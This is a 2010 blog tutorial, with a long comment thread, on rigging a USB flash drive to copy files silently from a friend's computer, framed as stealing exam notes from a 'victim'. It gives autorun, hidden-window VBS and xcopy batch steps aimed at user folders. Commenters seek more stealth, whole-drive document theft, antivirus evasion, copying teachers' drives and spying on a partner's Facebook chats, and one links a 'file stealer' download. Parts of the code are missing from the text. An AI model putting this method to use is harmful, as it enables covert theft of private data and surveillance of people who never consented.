Tuesday, January 5, 2010

Let’s say you and your friend are preparing for an all important exam that is going to decide the course the rest of your life takes. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway.

To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy! I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act.

Sneaky, isn't it? So let us prepare such a sinister USB Flash drive.

STEP 1

Open Notepad (I recommend Notepad++) and copy-paste the following lines.

The icon line is optional. You can change the icon to your tastes or leave it to the default icon. It’s useful for social engineering purposes like enticing the user to click a file on the drive by making it looks like a game or something.

The “action=” command is optional too but sometimes when the autorun launches it may ask the user what to open. Depending on what you put here the user will be instructed to click Ok or run the file. This code acts as a backup just in case the user is asked what to open. This is not required if you are operating the computer.

The “shell/open command” also acts as a backup in case the user clicks cancel instead of open when prompted. This code will execute when the drive letter is clicked on.

This file is configured to copy the contents of the current users pictures, favorites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

The first file path "%USERPROFILE%\pictures" – is the target. The second file path "%drive%\all\My pics" – is the destination.

STEP 3

This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

STEP 4

Open Notepad one last time and copy-paste the following line.

wscript.exe \invisible.vbs file.bat

Save this as launch.bat

This batch file does two things, it looks for the invisible.vbs file in the root of the Flash drive then loads it with file.bat so file.bat is run with code from vbs file.

STEP 5

Copy all 4 files created in the above steps and put it on the root of the Flash drive, including the icon file if needed. Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

Only a moron would do this; a guy in one of our study groups tried the same type of thing. He failed the class, lost his scholarship, and all the money mommy and daddy were going to give him. Poor soul. Take notes--it's easier.

Thank you for your help, your awesome! But for some strange reason its not working with windows 7?...I have one more question please. How can I get it to be in ultra stealth mode in which I do not need to click ok to run...In other words, do its copying job as soon as I plug in my usb silently?

Hi. Lets ssay I wanted to take only Pdf and word files as indicated above by roham: If I did not know what directory the person kept all the pdf and word documents, how would I just take all type of those files from the persons computer?

Hi. Very nice post! How can I copy an entire my documents folder without the click ok to run popping up? Also, how would I copy only pdf/word documents from entire computer? Would highly be appreciated :)

Thank you. I understood that part, but for the entire computer I would like to copy ALL the pdf and word documents it has using ONE command. And also how would I save an entire My Documents folder so that it can be my target and my destination. I tried this, but it did NOT work : %backupcmd% "%USERPROFILE%\My Documents" "%drive%\all\My Documents"

Thank you also. I understand now why you need to click ok. John's last post is very interesting as well. How would you do that: (JOHN: Copy an entire My documents folder using one command and saving all pdf and word files from entire PC using ONE command as well) ??

O ok I thought it was possible. Sorry my friend I understand now. Thank you so so much. One more question if you do not mind Kaushik; Can I copy files straight from a pc's my computer destination? Or does your last post still apply?

Hi I was able to work this out, but the cmd window always appear, I tried it windows xp and windows 7 and in both i see the cmd windows for a couple of seconds after pressing ok or double-click the usb drive from My Computer.

i was wondering, is there such a program, or way to make a usb device able, to steal photos from a pc as well? by just plugging it into a friends pc, then it will search the photos and download them into the usb?

alright, i am running vista ultimate. When I double click the bat file, it works. However, when I restart the computer with all 4 files on the usb, nothing happens and the computer boots up as usual. what am i doing wrong?

ok so this is what i want to be able to do can you give me an example of the code if possible...

lets use c: as example

So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever

and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not.

just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?

lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.

below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter.

This is working like a charm on my Windows Vista. However, on my friends Windows 7, the box pops up when I insert the drive, however, there is no 'click to run' on it. Any way to fix this or copy the files in this case?

Hey, guys, do you know any way or a program or script or a modification to this one that would let you search the whole c: drive for specific types of files and copy them to the usb? You know, without knowing the localisation?

thanks Kaushik for the Recycle bin directory.... i wanted to ask something else... I've used it on Vista home premium and it worked flawlessly... didn't need to press anything... I used it on xp and it didn't work at all... it said that /min is not recognized and nothing is being copied..I use this:@echo off :: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\all\Photos" %backupcmd% "%USERPROFILE%\Documents\*.jpg" "%drive%\all\Photos 2" %backupcmd% "%USERPROFILE%\My Received Files\*.jpg" "%drive%\all\Photos 3" @echo off cls

About the /min I was talking about... I used it on another computer with windows xp home edition and it was not recognized... I think also that that particular PC needed format cause it showed some problems... do you think that after format it would not show again that /min is not recognized? or is there any setting I must do to fix it? thanks again in advance...

Thanks for this post. Very useful. Under Win7Ultimate in my case, the variable %USERPROFILE% is C:\users\[MyUserName]. When I installed Win7Ultimate I created a D:\ partition and in it a folder My Documents and moved all the personal data folders to that My Documents. The original My Documents, My Pictures, My Desktop, My Email, My Music, etc. were all moved to that folder and are no longer under the %USERPROFILE% folder. How can I tune this files to make it work?

Just wondering what happens with disk space. If the usb drive fills up and theres no free space, what happens to the xcopy process? Is there a window that will open and say the drive is full or will it just stop copying once it gets full and nobody will know which is fine.

set backupcmd=xcopy /s /c /d /e /h /i /r /y /s does sub folders and doesnt show them if there empty so why have the /e because that does sub folders but keep every folder even if emptyset backupcmd=xcopy /s /c /d /h /i /r /y is what i use

My flash drive contains a default autorun....y also included the other one....but when i connect the flash drive, only the default one comes up...the other one that i created does no boot up automatically...what can i do?

I want to be able to have this copy files that are on another usb...say I have usb1 plugged into the computer, and I want it to get all .ppt and .pptx off of another usb drive #2(usb2) that WILL be inserted into the computer.

Am I able to have it set up so the "copying process" just waits until usb2 is plugged into the computer?

Also, am I able to have it so the command prompts just says something like "USB connected" (then all they have to do is click on "ok"? to have the copying process begin)

One more question: with the copying process, is it possible to have it run in the background so that it isn't visible to the user on the computer?

@friendlygiant: I haven't tried copying one USB drive to another so I have no idea how the xcopy command addresses two different USB drives. I can't answer your question for now. I have to try this out first.

Can i somehow make the computer copy other usb files onto the computer instead of the usb. For example, a friend plugs in usb into my computer, is there anyway the files can be copied from the usb onto the computer?Thanks in advance

Can we do something with that application work automatically? I want that program to run without double click, I want it to work automatically right when you connect it with a computer... Is that possible?

with this Tool You can Steal Any file From Victim Computer by Connecting Your Infected Flash Memory on Victim Computer .In this Archive You have 3 File And 1 Folder.In files.txt You must Set Your File Format for Steal from Victim ComputerIn Paths.txt You can Choose The Path for Fast Searching , Or Spcial Folder Like d:\\myprivate-pictureProg Steal Your favorite File Format like .jpg in Ashiyane Folder.At Last Program will be Exit In Silent Mod Without Any response

download The Toolhttp://xlpar.com/ncftqio0m23v/Ashiyane_File_stealer_v1.1_by_devil_v9.rar.html

I have a computer that has been in need of format for a long time and it has files scattered everywhere, this will help me recover those files with ease.

I have the same request as joshrube82, can you specify file size so we don't copy all the system images?

Also is there a way to see if the program is still running? it doesn't need to be "hidden", just some process on task man. or something?

And one more thing, like has been asked before, if the flash drive fills up, does it stop automatically or does it crash?

And for the people asking for the "program" to start automatically, think about it... if it starts automatically when you plug it in, when you connect it back to your computer it will start copying you own files too.. big mess.

I get the code error that says something like "Rectangle" is not recognized as an internal, external or .bat file. (you know that error). The Rectangle represents a character (which is a rectangle) in the quotes. I have tried this on two computers and I get the same error both times.

hello there, i want to ask you something, is there a way to make the opposite ? in other words,when someone plugs in his usb into a computer than it copies all the files of the usb (or specific types of files) into a selected folder you have on the computer HDD? without making an antivirus catch ur program? thanks in advance

Excuse me, this isnt working on windows 7. i have to click the launcher.bat file for it to work. please email me at Flash_Tock@yahoo.com with more information, as i need this to work very badly. i really need t get some things.

but wat to do if lets say i coded the batch to copy only .flv videos from C D & E drive but there is no E drive instead there is a F drive will i get an error and how to scan the entire my computer for .avi and batch files

I'm having problems getting the program to autorun. Clicking "file.bat" (I actually renamed it "target.bat but whatever. I made the appropriate edits) runs the program just fine. So I'm assuming there's a problem with my computer and that autorun.inf file.

When I plug it into any computer either a dialog comes up asking what I want to do (Open folders in Windows Explorer, View pictures in Windows Media Player, No Action, etc.) OR it will just open the USB stick in windows explorer without asking. From there I can click target.bat, but I'd really like to know what's going wrong with the autorun. I already looked into my autorun settings (Vista 64-bit) and didn't find any problems there. Got any tips?

hi there, is there anyway to make the file.bat check if the file on usb flash already exists and rename it if i am to copy a file with the sam name. eg i copy d:\pics from one pc then put my usb flash into another pc with a folder d:\ pics aswell, wat line of code can i insert to make it rename the new d:\pics to say d:\pics 2?perhaps some kind of if exist statement? with a for loop or something? thanks in advance

i have a quick question. my friends are for the most part tec savy. so is there a comand line you could use to open up a game like mine sweaper. so this way... even if there in the room they still dont know what is going on. what would be the code and where would we put it?

my doubt is will the files can be saved in a hidden manner so that i can copy a hidden folder in the pc to a hidden folder at usb . so tha even if my friend comes into my usb to see wats inside he might really not see wat is really running at the back side...

hi.. at college, our teachers display the courses on the computers and projectors .. they use flash drives or cds to save the data. can i use this to copy the entire usb drive or the entire cd into my usb without anyone noticing that something is happening??

Working very well. Anybody knowa, if the win was installed on other language, not on english, like german, or even russian, the original script like: %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" will work or have to change the target folder name/names to the actual other language, like picture to bilde or to russian with cyril caracters? would be good to get some info from it. thank you.

Times have certainly changed for the worse. See I am an old lady also who remembers doing long division by hand. Acheiving competence inmathematics without the help of a Texas Instruments scientific calculator, Imagine that.Solving answers to complex equations in advanced calculus, physical chemistry, and physics The only help available back then was something they call a Brain. All this computer savy technology can never replace the great thinkers ! Cut- Copy- Hide-Edit-Remove annoy me.Stealing notes wow! What's next. Perhaps a Last Will and Testament. Good Work ! You should be ashamed of yourself Stealing notes..

I am curios, how can I copy files that are on different drives. Lets assume I am interested in PDF files, naturally all PC's have "C:" drive, but what if there are other drives I want to check? Naturally they could be any of "D:", "F:" or even "Z:" I won't know, so how can I do it?

Is it possible to also limit it to files of a size greater than 60kb fir example?

However!Is there a way to exclude the removable media from being silently copied?for now i copy C: D: E: F: G: but if one of those are the removable media i inserted the stick it selt gets copied too.Is there a way to exclude removable media?

Tried out everything you discribed at top of this page, and it works just fine. I have to open my flashmemory in my computer, and then click on launch, then i black box appears 0,5 seconds, and then starts copying. Really great guide and many thanks! This got me intrested in programming so i will try to learn more!

I have one question that has been asked, but not answered (i didn't see any answer): To cope other files you just type in the drive and the format of the file as discribed above, but how about if the file are hidden? Does it copy hidden files or do i have too put a different command for that?For example; i have a hidden file in c:/pictures/summerof69/hiddenfile.jpg

If i put in the command that copy all .jpg files in C:, do i get the hidden file?

my autorun.inf file doesnt work. the procedure works only if i directly double click on launch.bat file.when i double click on autorun.inf nothing happens.also do i need to run the autorun.inf whenever i insert a pen drive.also i need a procedure with which the file autorun.inf starts automatically on startup and copying is done.i dont want to start autorun.inf each time i insert a pen drivepls reply.

This was very helpful. I have read every single comment on this thread and my autorun.ini still won't work properly. It won't even show an ok box. I have tried to google this along with other things similar and I can't get it to come up. To get it to work, i have to go into the usb root, click on the actual batch file to get it to run, it does work that way, I was just hopeing there would be a way to get it to click ok and run. this is currently where i've edited it to.

it said the icon was optional so i left it out and i left the shell in because when i tried to take it out, it had no effect.

my launch.bat and my invisible.vbs are exactly as stated in the main example. the only thing i truely edited is the file.bat in order to change which files to backup. I don't beleive this has any effect on the auto run, but i'll add this just in case it does.

wanna ask how to automatically save a powerpoint file that is opened from a thumbdrive and save it to your computer. meaning if your friend opens his file from his usb on your pc without copying it, how do you make your pc automatically save the file? this would be very helpful. thanks.

what i do to see if it's still copying is I open task manager and it will say something like copyx and if you see that, it's still copying, also for the powerpoint thing, you can look in your temporary appdata file before you turn off or restart the computer, it should be there

I need some help! My friend who uses my computer is cheating on me on Facebook.He hides his password,so I can't check his page anymore.He spends hours at night with someone.How can I set up a program where I can view/record their chat without arousing suspicion,or causing problem to him whenever he gets on or log in to Facebook? Your help will be deeply appreciated!

I tried all but I'm not able to copy files from the sub folders. Can you please help me out in this one. Can you give me the command which also takes the files from the sub folders also. Consider as little urgent... pls

hi there i had to give a statment regarding an accident. i typed it out and was going to print it out for the statement taker to take away with her. however my printer was out of ink and the library shut. long story short; i gave her my usb-pen-drive to plug into her laptop and directed her to the folder where the file was but whilst i sat across from her she backed out of that folder and opened a personal powerpoint containing critical data; this file now shows its been accessed on that same date "i know i haven't!" (but it also shows 00:00 for the time as it does for all files on my usb drive no matter what date it was accssesed) in other words access dates are right on all files but time is 00:00.

my problem is when i meet with her next i would like the right script that will search her drive for my file; copy it back to a folder on the pen-drive (so i can confirm to myself they stole my file) and mainly delete the copy on her drive (STELTHLY).

the other question i have is "is there away to find out if the file was copied from my pen-drive in the first place. Maybe using some sort of software or script" because Windows "propeties" just shows "Last Accessed" but no info indicating the file has been copied.

yo the data im trying to copy is located within a usb that plugs in on my "friends" computer could i set target as the specific USB as Removable Disk (g) or whatever it would be in the said computer? answer promptly please i want to learn a bit more about this actually could you possibly e-mail me at hamper10@aol.com ?

thank u very much kaushik Bhaiya !!!It works very fine but the only problem wid me is that i have to double click the .bat file to start copying , every time i insert the USB in any computer...Is there any way to launch this program automatically ( like click and run)as some commentators here r talking abt autorun command ....Please Answer to my question by starting it wid ( @sumit singhal) so that i need not check each and evry comment to get my answer ...Thank u vry much in advance ...

For those that Autorun ISNT working for...its been already said that The Autorun function does not seem to work on newer OS's..i noticed with the Autorun that if you leave the Icon segment of Script in, your USB drive icon does not appear..when you take that part of the script out...the original icon re-appears..so the Autorun file technically works...but the OS is preventing it from doing its original job.. so as of now, were stuck using the launch file directly..and the window only pops up for a half a second!..which is not bad considering what this little program is doing for you..be grateful..

please need HELP did you fgure out this yet"Is it possible to do the following with this whole set up: I have all of the steps 1-5 done and saved on a usb #1(usb1). I want to be able to have this copy files that are on another usb...say I have usb1 plugged into the computer, and I want it to get all .ppt and .pptx off of another usb drive #2(usb2) that WILL be inserted into the computer.

Am I able to have it set up so the "copying process" just waits until usb2 is plugged into the computer?

Also, am I able to have it so the command prompts just says something like "USB connected" (then all they have to do is click on "ok"? to have the copying process begin)

One more question: with the copying process, is it possible to have it run in the background so that it isn't visible to the user on the computer?